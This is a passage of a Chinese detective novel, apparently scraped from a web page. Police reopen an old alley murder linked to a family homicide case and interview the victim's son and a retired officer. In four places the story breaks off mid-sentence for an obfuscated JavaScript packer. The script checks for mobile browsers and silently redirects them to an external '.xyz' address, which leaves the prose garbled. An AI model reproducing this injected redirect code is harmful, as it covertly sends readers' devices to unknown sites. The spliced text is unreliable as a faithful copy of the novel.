周凯说到一半,已经是满脸无奈,他继续道:“所以你们说,我哪里敢说啊?我扣就扣了,无所谓的,但我不能因为我一个人的私事连累整个小组的同学和带队老师吧。对不对?” 白杨不答话,又装作没听到。 “确实,最好不要连累别人。”蔡小新被他的体贴之言打动,十分认可地点点头附和。 却被坐着的白杨从斜下方投射的眼刀子刺得坐立难安,他尴尬地摸摸脸,低头看自己的鞋尖。 “你们几号结束的?”白杨接着问。 “8月12号下午,当天晚上小组一起吃了晚饭,13号就各自回家了。” “你回了哪个家?安城的?关图县城的?” “宁城火车没有直达关图县的,所以我直接回了安城,没回关图县。你可以查我的手机定位的,我一直待在安城的家里。” “但是……白警官,你是什么意思?莫非你认为我有嫌疑?”周凯突然觉得受到莫大的侮辱,一下子坐起身来,十分激动地反问道。 “没有,没有,你这孩子,别激动!我就随便问问,这不是你社会实践的事情没掌握到嘛,所以就随口一问,完善我们的信息。哎呀,严重了,查什么手机定位!” 周凯不想听他再一通瞎扯,直截了当地问道:“那白警官,你找我来到底是为了什么?总不能是唠家常的吧?” 白杨看他脸色不愉,忙安抚他:“别生气,也别有什么抵触情绪。这次让你来,主要是想让你劝劝你妈妈,让她好好配合我们的工作,也好早点把你爸爸的案子办结。” “我会劝她的。”周凯听到他提到母亲,又变得十分低落。 周凯离开后不久,两个身着便衣的警察顶着烈日,偷偷跟着他离开了…… 26.父子关系 约莫两个小时之后,外出办事的班青和梁斌也回来了。 他们刚一进屋,白杨便抱怨开来:“咱们真是收了个活菩萨!人家找个理由开脱,他还跟着点头称是。” 接着下巴一扬,打趣蔡小新道:“你跟谁一伙儿的?是不是缺心眼?” “我那不是看他在那儿坐着哭,觉得他有点可怜吗,也就一时心软,结果他真是个坏蛋,一张嘴就骗人!” “就你有情有义?鳄鱼的眼泪也是眼泪?”白杨恨铁不成钢地反呛道。 “嗯……怎么不算是呢……” “你嘀嘀咕咕什么呢?” “没,没。” 班青看这势头不妙,再不阻止就能一直吵下去,不得不劝解:“消停一会儿吧,你俩都。” 白杨本就是跟蔡小新笑闹,这会儿赶紧回到正题:“刚才周凯在的时候你也不在。你是没看见,他多会演!一会儿哭,一会儿生气的,好像受了天大的委屈!要不是咱俩当初查看他家小区监控的时候多留了个心眼,还真让他糊弄过去了!” 班青和白杨从安城查看完监控回来的第二天,梁斌他们很快就找到了视频中驾驶白色汽车的司机。 尽管时间已经过去很久,但那位司机却记得很清楚。 不仅仅是因为周凯穿了个搬家公司员工的蓝色制服,更是因为他的要求很奇怪。 从安城到关图县这一路,周凯和同行的另外两个乘客一样,并没什么不同。但是快到达关图县的时候,他时不时向外张望,显得十分着急,还惹得司机频频注意。 司机以为他是外地人,不熟悉路,就提醒他快了,很快就能到县里。 可是路过某个地方的时候,他突然出声:“司机叔叔,我今天不舒服,想要赶紧回家,我就住在附近,你就在前面把我放下,我不去城里绕路了。” 话音刚落,还剧烈地咳嗽好几声,好像身体真有哪里不痛快。 高速路上怎么能随便停车,他要是下车被撞或者出了别的问题,自己卖了车也赔不起。 司机未加考虑,当即断然拒绝,因为他是个非常讲求原则的人。 蔡小新皱了皱眉头,不解地问司机:“你没让他下车?那他怎么从你车里消失了?” 司机挠挠头,不好意思地笑着说:“本来是不让他下车的,但是……嘿嘿,他额外给了我五十块钱。” 蔡小新:“……也行。” 就这样,周凯在快要到关图县的时候,成功从高速路上下车,自然就没有出现在高速路口的摄像头中。 “那你还能想起来他在哪里下车的吗?”梁斌问道。 司机稍微思量一阵,而后非常确定地说:“那时候差不多晚上八点了,天有点暗,我看得不太清楚。那一片是城南郊区,都是些破破烂烂的厂房,具体地点我记不清楚了,但是过了巢河,这我是能确定的。” 所以今天叫周凯过来之前,班青他们实则已经掌握了他曾经偷偷回关图县的情况,这次叫他来,也只不过是查看他的反应。 虽然周凯聪明,之前也一直让他混过去了,但到底只是个大三的学生,只不过二十岁出头的年纪,被白杨他们一试探就慌了阵脚。 要是能不惊动周凯,暗中查出个结果来,那自然是最好,但是这个周凯真就和他人畜无害的表面一样。 根据他现有的资料,只能勾勒出一个优秀上进的三好学生,一个乖巧懂事的形象,翻不出他任何一点异常。 无论是周凯从小学到高中的老师,还是汪明远和周琳的同事,据他们的了解,周凯一直成绩优异,乖巧听话,是个标准的好学生,一直是周琳和汪明远嘴里最骄傲的儿子,也一直是其他家长骂自家孩子时用作参照物的“别家的孩子”。 班青和梁斌他们本想从这些人嘴里撬出一些之前被他们不小心忽略的细节,但这一趟的走访却更是加深了周凯不可能作案的印象。 如果不是司机的证言,以及周凯家小区的监控摄像头,谁会想到这个老实乖巧的“好学生”现在会成为他父亲惨死的嫌疑人之一? 不过这一趟的走访也并非完全没有收获。 和妻子关系糟糕,和同事保持相当距离,对学生也并不太热情,对两个弟弟更是显得残酷无情,甚至深陷秦乐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071566|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐自杀的舆论当中。 可以说,汪明远和谁的关系都很一般。 他表面淡泊无争、宽容大度、神秘莫测,内里却冷漠无情、精致利己,不在乎除了自己外的所有人,但周凯却是他唯一的例外。 他不在乎自己班上的学生,只将儿子看做是自己唯一的学生,看做是自己雕刻出的完美艺术品,故而对儿子的成绩十分上心,不愿意错过任何一个细节。 周凯在学校生了病,老师通知家长,要是情况不太严重,周琳也只不过是拜托老师带他去医务室看看病,再拿些药。 但是汪明远不同,哪怕儿子伤了一点点,或者只是个小感冒,他也一定要请假,跑去儿子的学校,亲自带他去看病。 任何一点风吹草动,都能引发汪明远的担忧,这样的紧张和小心,有时候连周凯老师都觉得没必要。 但她也为人父母,虽然她做不到动辄放下自己的学生不管不顾,做不到像汪明远一样动辄请假照顾自家孩子,但她最终也理解了。 或许,父母爱子女的方式不同,有的热烈似火,有的温吞如茶。 只是烈火终究是个危险的东西,稍不注意便会灼伤自己,也会危及他人。 或许周凯感受到的父爱太过热烈,灼烧得他喘不过气来,所以他这样一个“别人家的孩子”也隐隐生出了反叛和抵触的情绪,以至于发展到如今的程度。 但真相究竟如何,只有他们父子二人知道。 三天后,一直跟踪在周凯身边的两个警察没能得到半点线索。 两人等得十分无聊,可是周凯仍然每天按时准点上下课,将他“好学生”的面具稳稳当当地戴着。 而周琳就更是个硬骨头,坚持声称是她自己雇佣耿登杀掉了汪明远,并且坚决要对汪明远的死亡负责。 至于耿登怎么死的,她只推脱自己不知道。 要是再将她问烦了,就让审问的人自己去问当时也在现场的汪明远,气得审问她的人抓耳挠腮,又没个奈何。 白杨和班青他们没有办法,眼见案件不知第几次陷入僵局,只得又从另一个受害人耿登着手。 27.死了多年的哥哥 在耿登死亡前一段时间,他一直在关图县做搬运货物的活。 这是个日结的零活,每天人员往来众多,鱼龙混杂,没有人员信息登记,干完就走人,所以他的社会关系网络极其复杂,一时间很难查清楚。 班青他们没有办法,为了查清楚汪明远和耿登的关系,只能从河阴村这个角度着手。 两人相差十余岁,除了都出自河阴村,其余身份背景天差地别,平日里并无交集。 查了半天,只找到两人的唯一交点:比耿登年长12岁、作为汪明远小学同学的耿家哥哥——耿攀。 白杨和班青几人拿出了当年耿攀横死小巷的案件卷宗。 文件上贴着几张案发当日拍摄的尸体照片。 照片上,耿攀仰面躺在地上,四周的水泥地因为浸满了鲜血而变成黑色,与没有沾染到鲜血的地面界限分明。 不远处,从耿攀脖颈的刀口处喷射而出的鲜血不规则地溅在地上,在水泥地里开出一朵朵黑色的小花。 耿攀瞳孔放大,瘦削的脸颊使得他瞪大的眼珠子更加凸显,更加骇人。 拍照片的时候,死者的鲜血已经流得差不多,脖颈处的刀伤血肉模糊,隐隐还能看到顺着刀口的轨迹翻卷出的皮肉。 白杨拿过旁边耿登尸体的照片对比。 一个致命伤在脖子,一个在腹部。 此外,耿攀的后脑勺呈轻微凹陷状态,推测生前受到过打击;而耿登除了腹部的致命伤外,在后脑勺和身体各处都有击打伤。 按照卷宗的记载,以及耿攀朋友的口供,案发当天耿攀处于重度醉酒状态,神志不清,自然不能对偷袭他的人做出相应的抵抗。 如此,凶手完全不用担心遭到他反抗,轻易便能得手,但是凶手却选择先打晕他再割喉,可见其狡猾缜密。 而耿登一案当中,从城南水泥厂的监控视频中可以看出,耿登进入水泥厂之前已经被人打晕。 根据耿登身上的多处淤伤来看,他在昏迷之后被两人拖进水泥厂之中,并进行了殴打。 案发当晚,也就是在8月14日的晚上,如果能够确定周凯也进入了水泥厂的话,那么案发地点就有四个人在:汪明远,周琳,周凯和耿登。 汪明远、周琳和周凯三个人都可能是杀害耿登的凶手。 但是从耿登的尸检结果来看,他的死亡时间是在16日至17日,彼时周琳正在聚业小区,故而她的嫌疑被排除。 梁斌想了想:“周凯也有杀掉耿登的嫌疑吧?” “那天我和小新试探过他……从他反应来看,他应该不认识耿登。”白杨摇了摇头。 三个人当中,只有汪明远和耿登有同乡的关系,他同时还是耿攀的小学同学,和耿家两兄弟都认识。 所以初步推测,汪明远的嫌疑最大。 班青取过耿登和耿攀的照片,盯着两人凹陷的后脑勺半天没说话。 一个人的行为路径具有相当的惯性,对于杀人凶器的选择和杀人方式的采用,大概率会有路径依赖。 如果一个凶手作案成功,那么他大概率会在之后的案子里采取相似的作案手法。 而后她喃喃自语:“……会不会是汪明远杀害了耿攀,被耿登知道了,他同时也知道了汪家弟弟死亡赔偿金的事情,就趁机找汪明远勒索钱财,却被汪明远反杀?” 白杨抬起头,正巧和班青的视线撞到一起,彼此都在对方的目光中看到一缕希望,但这希望很快又消散了。 如果真的是汪明远杀害了耿攀和耿登两兄弟的话,这件案子将会变得更加复杂。 耿攀一案跨度二十余年,当年的很多证据都已经遗失,证人也早就找不着,这将会给当前的案子增加极大的难度。 但这也提供了一种思路,至少能稍微解释清楚,为什么耿登和汪明远这两个社会关系已经千差万别的人会突然出现在一个地方。 蔡小新听班青三人分析半天,听得云里雾里,此刻终于听出了点眉目。 他不太确定地问道:“你们的意思是说,有可能是多年前汪明远杀死了耿攀,被耿登知晓真相,然后他约汪明远到水泥厂,意图勒索,反而被汪明远故技重施,将他反杀?” 梁斌补充道:“汪明远杀害耿登之后,再将他的尸体扔到工厂的排污管到里面,之后几天,尸体被上涨的河水带出管道,然后顺着巢河被冲刷到岸上,最后被人发现。” “那汪明远不就是被周琳或者周凯烧死,或者,干脆就是被他们两人合力烧死的?”蔡小新倒吸一口冷气,惊恐地张大双眼。 班青沉声说:“目前只是推测,还很难得出结论。” 四个人不由自主地想到一脸“死猪不怕开水烫”的周琳,以及跟踪多日仍没有结果的周凯,都感到极为头疼。 班青翻了翻卷宗,“当年这件案子的负责人——高启航。” 三人齐齐看向在此工作时间最长的白杨,只见他摊着手,无奈地摇了摇头。 “老陈!老陈!你见多识广,帮我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078543|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看看这是谁?”蔡小新从班青手里拿过卷宗,一边旋风一般地向外跑,一边大声喊着。 老陈优哉游哉地呷了一口茶水,又不急不缓地放下手里的白瓷茶杯,才接过蔡小新手里的卷宗,随意瞥了一眼上面的名字。 他愣怔片刻,而后幽幽开口:“高启航啊,我有点印象。好像是上面空降来的,一个北方来的外地人。他行事作风可不一般啊,雷厉风行,谁都怵他,连当年老爱出风头的叶全都得避他的锋芒。” 蔡小新狗腿子样地将茶杯端给老陈,好奇地问道:“叶全又是谁?” 老陈接过白瓷杯子,但是没喝。 “叶全也是以前的老同事,但是后来犯了错,被开除了。” “开除?他干什么了,怎么就被开除了?”梁斌这会儿也跟了上来,身后还站着同样认真听着的班青和白杨。 “好像跟钱有关。哎,他那些臭毛病一直改不了,最后还是栽到这上面了。”老陈慢悠悠地喝了一口水,就想讲讲叶全的往事,突然一拍脑袋,“嘿!蔡小新你打断我做什么?我讲到哪里了来着?” “高启航。”白杨抱臂,倚靠在墙上。 “啊,对对对。这个高启航啊,来得突然,走得也突然。当年他正热火朝天地办着案子呢,突然就被上面调走了,前后就几个月。” 班青:“哪个案子?” “哪个案子记不住了,但那段时间我记得,是关图县几个工厂倒闭的那一年。那年特别乱,安置费被偷,工人抗议……各种乱子,层出不穷。好多地痞流氓混在群众里面,□□偷,还出了好几起命案——” “命案?有耿攀的案子吗?”白杨突然打断了老陈的回忆。 “耿攀?死在刘家巷的那个?那案子是个悬案啊……”老陈突然猛拍脑袋,“哦对,我想起来了,耿攀的案子就是高启航办的。” “这案子还没办完,他就被上面调走了。他这一走倒是青云直上了,只可惜跟着他的李……哎,算了,还说这些干什么,都过去了。这案子怎么了?” 老陈将举了好半天的白瓷茶杯又送到嘴边。 班青解释道:“目前有个案子的受害者,正巧是耿攀的弟弟。所以我们想了解一下耿攀的事情,再找当年的办案人员问一下,看能不能找出个突破口。” 老陈沉默了一会儿,而后建议:“高启航肯定问不到了,但是有个人你们可以试一试,当年他就跟在高启航身边。” “谁啊?” “李江涛。” 28.李江涛 “是不是划了界限的?划分了吧,而且分得明明明明白白、清清楚楚,你张家的土地在下面,我家的在上面,你们也是认了的! “结果呢,你们不要脸,趁着我出去打工家里没人,每年借口除草来铲我家的土,扩大你家的地!” 安乐镇派出所门口,一个浓眉大眼、穿着一件白色汗衫的男子正双手叉腰,和一对老夫妻对骂。 “什么叫扩大我家的土地?你胡说八道!我给自家的地铲草怎么了,有什么错?你是发达了,土地荒了,你不种地我可要种!”老头子扯着嗓子大声叫喊。 喊完了又将他的老烟枪往墙壁上“咣咣”一阵敲打。 “你种你的啊,我拦着你了?你偷我的地做什么?小偷小摸的一家子人,没一个好东西,难怪你儿子进了监狱,原来你家就是这种教养,一家子小偷!”男子一边骂人,一边伸出右手食指,指着那对老夫妻。 男子骂了半天还觉得不过瘾,干脆冲出派出所大院,跑到门外,大声嚷嚷:“哎呀,快来看呐,快来看呐,老张家又耍无赖啦,偷我家的土地啦!” 今日碰巧是赶集的日子,安乐镇的集市上人来人往,听见男子的大声呼叫,纷纷探头往派出所的方向张望。 老两口看越来越多的人冲着自己指指点点,觉得脸上挂不住,顺手抄起放在墙角的扁担,就要往男子身上招呼。 “杀人了,杀人了!张家老贼偷我的土地还不算,当着警察叔叔们的面要杀我!救命啊!”男子像个猴子一样,灵活地躲避着扁担的招呼,在院子里乱窜。 “好了!”李江涛耳边嗡嗡的,忍了半天,看他们竟然用起了“凶器”,连忙喝止。 早上刚到岗,两边的人就气势汹汹地往派出所挤,李江涛刚停好车,连水都没来得及喝上一口,就得给两方做调解。 一会儿劝这个,一会儿招呼那个,可他们就顾着吵架发泄,没人听劝,给李江涛烦得一个头两个大。 他昨晚本来也没睡好,这会儿感觉这两边的人就在自己脑子里打架,打得他的脑袋跟浆糊糊住了一样。 “天天吵,天天闹!上次不是都调解好了吗?你们铲掉的别人的土,按照最开始的界限,给人家还原!” 李江涛说完又转向穿着白色汗衫的男子,说道:“你们家土地之前荒着不种,现在回家了,也都种上,自己多上点心。” “警察叔叔,我很上心啊,我这不打算去种吗,他们上次承认给我恢复原状了,结果出了派出所就不承认,现在还在偷我的地!”男子再次伸出手指指向老两口,一脸义愤填膺。 “警察叔……”李江涛看着男子比他更加沧桑的脸,抽了抽嘴角,“算了算了。” “我们怎么偷了?你家土地比我家的高,前一阵子下大雨,它自己塌下来的!”老婆子尖声反驳,一脸委屈,说完甚至坐到地上,拍着自己的大腿,哭天喊地地叫唤。 班青和白杨一进入派出所,就看到院子里正撒泼打滚的老太婆,她身后吐着烟圈的老头子,以及看着她哭天抢地而抱臂撇嘴的白色汗衫男子。 李江涛被白色汗衫男子挡在身后,围着看笑话的人越来越多,老婆子的叫喊更是高低起伏、颇有节奏,他脸上青一阵红一阵,恨不得直接离开现场,躲个清净。 好在班青和白杨适时地出现,正好救了他。 “耿攀?是死在刘家巷子的那桩案子吧?” 李江涛脑海中一下浮现出一个名字,那个名字的主人曾经带领着他在当年的几桩案子中抽丝剥茧。 那时候他正是意气风发的年纪,跟着他一路奔忙,总想将人世间的阴暗和冤屈尽数扫光。 但是造化弄人…… 不多时,李江涛沉默良久之后,思绪终于回转。 他说着,起身给白杨和班青倒了两杯水。 “对对对,就是码头附近的刘家巷子。”班青接过李江涛递过来的水杯,起身道谢。 “喝点水吧,这几个月都怪热的,你们一大早从县城来的?” 李江涛放下水杯后,又起身去打开了电风扇的开关。 电风扇呼哧呼哧地转动,连接处不时发出“吱嘎”的声音,扇出的凉风随即被传送到其转到的方向,稍稍缓解了屋内的燥热。 但也只是缓解。 哪怕已经到了九月份,安乐镇还处在城郊,上午的温度已经超过三十度,湿热的空气将人身上的衣服严丝合缝地贴在皮肉上,一贴便是一道黏糊糊的水印子。 如此,电风扇就不怎么管用了。 “实在不好意思啊,条件有限。本来有个旧空调,但是前几天人家停工不干了,新空调还得过两天才能装上。今天真是不巧,只有这个破风扇,你们将就一下哈。” “没事的。”白杨话音刚落,几颗豆子大的汗水从他额头滑落,滴在白色T恤的胸口位置,浸出一道更深的痕迹。 李江涛扯了扯身上黏糊糊贴着的衣服,又咕咚咕咚喝了几口水,才从尘封的记忆中一点点找出了往事。 “那件案子是高队在牵头,我当时虽然在他队里,但只是个打杂的新人,细节掌握得并不多。事情发生在秋末冬初的一个凌晨,具体时间记不清楚了,天气转凉,已经有些冷了。 “一个早起赶路的外乡人,从刘家巷子路过时发现了受害者。发现的时候人已经死了几个小时,死得透透的,身体僵得跟冰块一样。” 班青:“是谁杀害了耿攀,你们那时候有怀疑对象吗?” 李江涛扯了扯嘴角,叹息道:“怀疑对象可太多了,多到查都查不过来。那个耿攀医术不佳,操作不当,治死了好几个人,官司缠身。后来干脆不怎么出诊,在外面跟地痞流氓瞎混,回了诊所偶然给人看看病,也借着机会调戏妇女,结仇的人太多。” “那……你们重点怀疑过谁?”白杨追问道。 “余大佑,还有刘旺财。这两个人同时还是另外两件案子的当事人,耿攀也牵涉其中。所以高队当初将这两人列入重点怀疑对象。” 班青不自觉地皱起了眉头,“还有另外两件案子?” “对,另外两件命案。” “什么案子?不会……也是悬案吧?”白杨顿感压力,不确定地问道。 “不全是,刘旺财相关的案件已经在当年结案。至于余大佑相关案件……”李江涛说着说着,思绪又开始走神。 良久之后,他不知想到些什么,看了看四周,熟悉的工作环境将他从回忆当中拉回来。 “耿攀遇害前一两个月,余大佑的妻子孙英梅以及他女儿余珍宝,两人在河阴村一个悬崖底下的荆棘丛中被人发现。孙英梅被送到医院,后来不治身亡,而余大佑的女儿余珍宝则身受重伤。 “正在调查的时候,没过几天,村民又在河阴村发现了另一具尸体。后来经过查实,尸体属于刘旺财的哥哥——刘旺发。” 他说完后,右手往抽屉里一伸,精准定位,登时拿出一包香烟。 正打算点火,看了看坐在他正对面的班青,不好意思地又放了回去。 “刘旺发出事前经常跟耿攀混在一起,两人是河阴村以及周围的几个村子都很‘有名气’的混混。 “尸体被发现前几天的一个黄昏,住在耿攀家诊所附近的一位老人,说他看到过刘旺发骑着一辆很新的摩托车,并开进了耿家诊所前的小院子,后来他载着耿攀,两人得意洋洋地飞车走了。这是刘旺发死亡之前最后一次出现。” “那……是耿攀杀害了他?” “对。后来我们在河阴村临近的一个村子里发现了被丢在破庙里的摩托车,并追踪到那辆摩托车正好几天前在关图县失窃。失主是个餐馆老板,餐馆就开在城南的工厂附近。 “那时候工厂倒闭,许多人失业,不怎么太平。刘旺发趁着人多眼杂,偷走了摩托车,然后骑去河阴村跟耿攀炫耀。 “据刘旺财反映,他哥非常宝贝那辆摩托车,偷到车之后,连着几天都去找耿攀,载着他去一些不干不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092472|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 净的地方玩。 “事发当天快天黑的时候,不知道两人起了什么冲突,有干活回家的人看见他们在路边推搡。他听见耿攀说着什么‘你再去偷一辆不就行了’。 “当时我们推测耿攀也看上了那辆摩托车,但刘旺发不肯让给他,所以他用匕首杀害了刘旺发。果然,后来我们在耿攀家前院的废弃水井里面,找到了携带着刘旺发血液的匕首。” 白杨习惯性地敲了敲桌子,沉声道:“那么……有可能刘旺财为了给他哥哥刘旺发报仇,趁着凌晨耿攀醉酒的时候杀害了他?” 李江涛再次伸手想从抽屉里拿出香烟,但这次长了点记性,伸到一半就停了手。 他想了想,说道:“我们的确怀疑过。刘旺发尸体在荆棘丛里被发现的当天,刘旺财正巧去耿家诊所找他哥。当时他得知死讯,十分激动,还扬言要找耿攀算账。但后来我们查实,刘旺财根本没有作案时间。” 班青一边听,一边拿出个笔记本,在上面不停地写写划划。 闻言,她抬起头,“等等,你说……荆棘丛?” “嗯,我正要说。余大佑妻子和女儿被发现的地方,和发现刘旺发尸体的地方,都是在荆棘丛里,而且相距不过几十米。除此之外,余大佑妻女出事的时间和刘旺发遇害的时间几乎可以重合。” 白杨问道:“……耿攀杀掉刘旺发的时候,很可能余大佑的妻子和女儿也在现场?” “不排除这种可能性,但是没有人证和物证。孙英梅在被人发现之后,虽然马上被送到医院,但伤势过重,没救过来。余珍宝事后长时间陷入昏迷,中间短暂地醒过来几次,她外公外婆也问过她能不能想起当晚发生了什么,但是……” “但是什么?” “但案发的时候天色太暗,她什么都没看到。” 班青和白杨听完之后,同时陷入沉思之中。 正在这时,李江涛神色沉重地继续道:“……至于余大佑,我们也查了,他同样没有作案时间。” 说完,他也沉默起来。 临走前,白杨不甘心似的,试探性地询问他:“李前辈,你有没有听说过汪明远?” “汪明远?”李江涛想了想,然后摇了摇头,“没听过。” 不多时,班青和白杨了解得差不多了,便同李江涛告辞离开。 李江涛将二人送出门外时,白汗衫男子和两个老人估计是吵得累了,坐在阴凉处的台阶上直喘气。 班青和白杨离开后,他站在院子中间的黄葛树树荫里,听着头顶传来的蝉鸣声,不自觉地出了神。 他想到了当年高启航突然被调走的时候。 那时候高启航不嫌弃也不介意他只是个初出茅庐的小子,没有自傲于自己有着多年的工作经验,愿意听他的分析和建议,给他表现的机会。 那时候他总觉得,自己如同明珠蒙尘,终于碰上了一个赏识自己的“师父”,愿意拂去他一身的尘灰,让他哪怕甚为微弱的一点点光芒也可朗照这世间。 但是这种想法终究是他单方面的向往,理想和现实的鸿沟,任凭他如何发了狠地想要跨越,最后也只是劳而无功。 他是个普通人,是个没有背景的凡人,所以他屈服了。 他不想葬身在理想和现实的鸿沟当中,摔得自己粉身碎骨,所以他卑劣,他庸俗,他退后一步,灰头土脸地融入现实的世界。 但这些年来,午夜梦回的时候,高启航临走时的叮嘱总是时不时突然窜进他的脑海:“小李,余大佑的案子你务必多上心。” 愣怔之间,余大佑面如死灰的模样和他嘴角的讥讽也跳入他脑海。 “认可,没什么不认可,你们人民警察查出来什么,我就信什么。” 李江涛甩了甩脑袋,将余大佑的讥讽之言甩到脑后,夏蝉在他头顶放肆地发出尖锐的鸣叫,他猛地一转身,白汗衫男子和两个老人又起了剑拔弩张的态势。 李江涛揉了揉额角,小声嘟囔:“草……” 29.狗改不了吃屎 “哎哟喂!你叮叮当当地找什么呢?没看见我正在看电视吗?今天大结局了,我好不容易今天没加班,你就不能消停……”李江涛的妻子胡蕾气冲冲地从客厅跑到书房,人还没进门,声音就已经到达。 “我的那些工作用的笔记本呢?你看到了吗?” 放在平时,李江涛绝对不敢惹他家的女人生气,但是今天他一回到家,一句话都没说,放下钥匙就往书房跑。 胡蕾话说到一半,看到丈夫脸上少见的严肃和紧张,觉得今天他多少有些不正常,好像是碰上了什么问题。她没再跟他计较,而是也跟着他一起,在书房翻找。 她一边找,一边小声唠叨:“你的笔记本我怎么会知道在哪儿,你的东西我都不爱碰。你那么多笔记本,我上哪里给你找去啊……啊,找到了!” 柜子最下面的一格里,李江涛的一堆黑色笔记本被摆得整整齐齐,放在最不起眼的角落位置,上面还叠着他们儿子的小学课本。 花花绿绿的课本将黑色的笔记本挤在最下面,压得满满当当,只在课本的缝隙之间偶尔露出一点黑色来,混在昏暗的光线里,要是稍不注意就错过了。 “让你自己找个位置,或者找个纸箱子,把你这堆东西好好归置起来,你非不听。这会儿找不到了,你才知道着急了?不长记性!” 胡蕾将放在最底层的几本笔记本拿出来,“砰”地一声扔在身后的书桌上,又埋怨地瞪李江涛一眼。 “下次再乱放你那些破东西,我直接当破烂处理,当废纸给你卖了!”她正打算借着这次的机会,好好教育一下李江涛爱乱丢东西的毛病,突然嘴巴一顿,想起什么来。 “哎呀,遭了遭了,我的电视剧!” 李江涛本来站在书桌旁边,装模作样地听妻子的教训,这会儿见她火急火燎地跑出去,劫后余生一般地乐得哈哈大笑。 一共是七个笔记本,薄厚不一,但都破破烂烂,笔记本侧面纸张的颜色已经变成深褐色,脏得不能再脏。 他一本一本地翻来,一共七本,跨度时间五年,囊括了他最初在关图县城工作的那五年。 他最开始工作的两年,那时候工作最为卖力,恨不得什么都记下来,丝毫线索都不想错过,所以那么厚的笔记本,一年就能用掉两本。 工作两年之后,或许是已经有点变成了老油条,又或许是累了乏了,渐渐的,记录得就少了。一年用掉一本已经足够,甚至还写不完,本子后半部分总有剩余。 至于五年后…… 五年后,那时候的他心灰意冷到了极点,再也疲于应付,他自己申请调离原岗位,去了现在工作的地方——安乐镇派出所。 一直待到现在,并且李江涛自己也觉得,或许直到退休,他都会一直待在现在的岗位上。 他抽出其中一本,一页一页地翻过去,曾经意气风发、干劲十足的他一时之间便跃然纸上。 笔记本上密密麻麻地写满了字,间或还有他的手绘地图、人物简笔画以及各种各样的符号。只是就像他李江涛连自己的本性都忘记了一样,他此时半分也想不起来这些符号的意思。 他捧着笔记本,漫无目的地翻,一页又一页。 突然,他停下手上翻动的动作,食指放在粗粝而泛黄的纸张上,指向其中一页的某个位置。 “余大佑”三个字被框在一个圆圈里,“孙英梅”、“余珍宝”被框在另一个圆圈里,并排写在“余大佑”的下一排。 而与这三个名字相对的地方,在纸张的右侧位置,“耿攀”两个字也用一个圆圈框住,字体的下面还重复地画了几条横线。 左右两侧的几个名字,用一个箭头表示相对关系。 李江涛再往后翻了一页。后边一页不再是一些图示和乱七八糟的符号,而是歪歪扭扭一大篇幅的字,写满了他的调查记录。 其中有走访河阴村村民的,有那位发现孙英梅和余珍宝的村民的证词,有余大佑的口供…… 最重要的,在连着几页的字体最后,写着他那时候偷偷调查并记录下的证人证词,他特意用星号在那一页的顶部标示了。 李江涛翻到了这个案子相关记录的最后一页,整整一页只写了四个字:蓝色布条。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16101149|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四个字的上方,一把大大的叉覆盖在其上。写字的力道极重,墨水浸透了纸张,在大叉的最后一笔的末尾,纸张沿着笔画的位置直接被笔尖扎透。 往日的记忆排山倒海一般涌现,他感到头脑中好像有什么东西突然贯通,急不可耐地往后再翻一页,却是另外的案子了。 但是两个案子记录的中间,不知道什么原因,分明缺失了几页。 他不知道想了些什么,捧着笔记本的手一动也不动。 李江涛被笼罩在暖黄色的灯光里,捧着他的黑色笔记本,站了很久很久,久到他快要忘记了时间的存在。 “哎呀,几十年了,想不起来了!” 良久之后,他好像下定了决心,将笔记本用力地合上,重新放进原来的位置。然后又抱着他的七本厚厚的本子,放回书柜最底层的角落里。 就算妻子骂了他也不要紧,骂了很多次也不要紧,反正总能找得到。 他利落地将笔记本放回原位,又用儿子花花绿绿的课本压在上方。 一边关上书柜柜门,一边笑骂道:“这臭小子真是跟我学的,手上沾了硫酸一样,书本碰上一处就烂一处。破破烂烂的,像从垃圾场翻出来,哪天看我不给你丢了!” 李江涛站起身,拍了拍手上的灰尘,露出十分嫌弃的表情。 可不知怎的,他分明已经下定了决心,此时应该感到无比的轻松和畅快。毕竟心中那块石头他已经放下了二十几年,现在还有什么可在乎的? 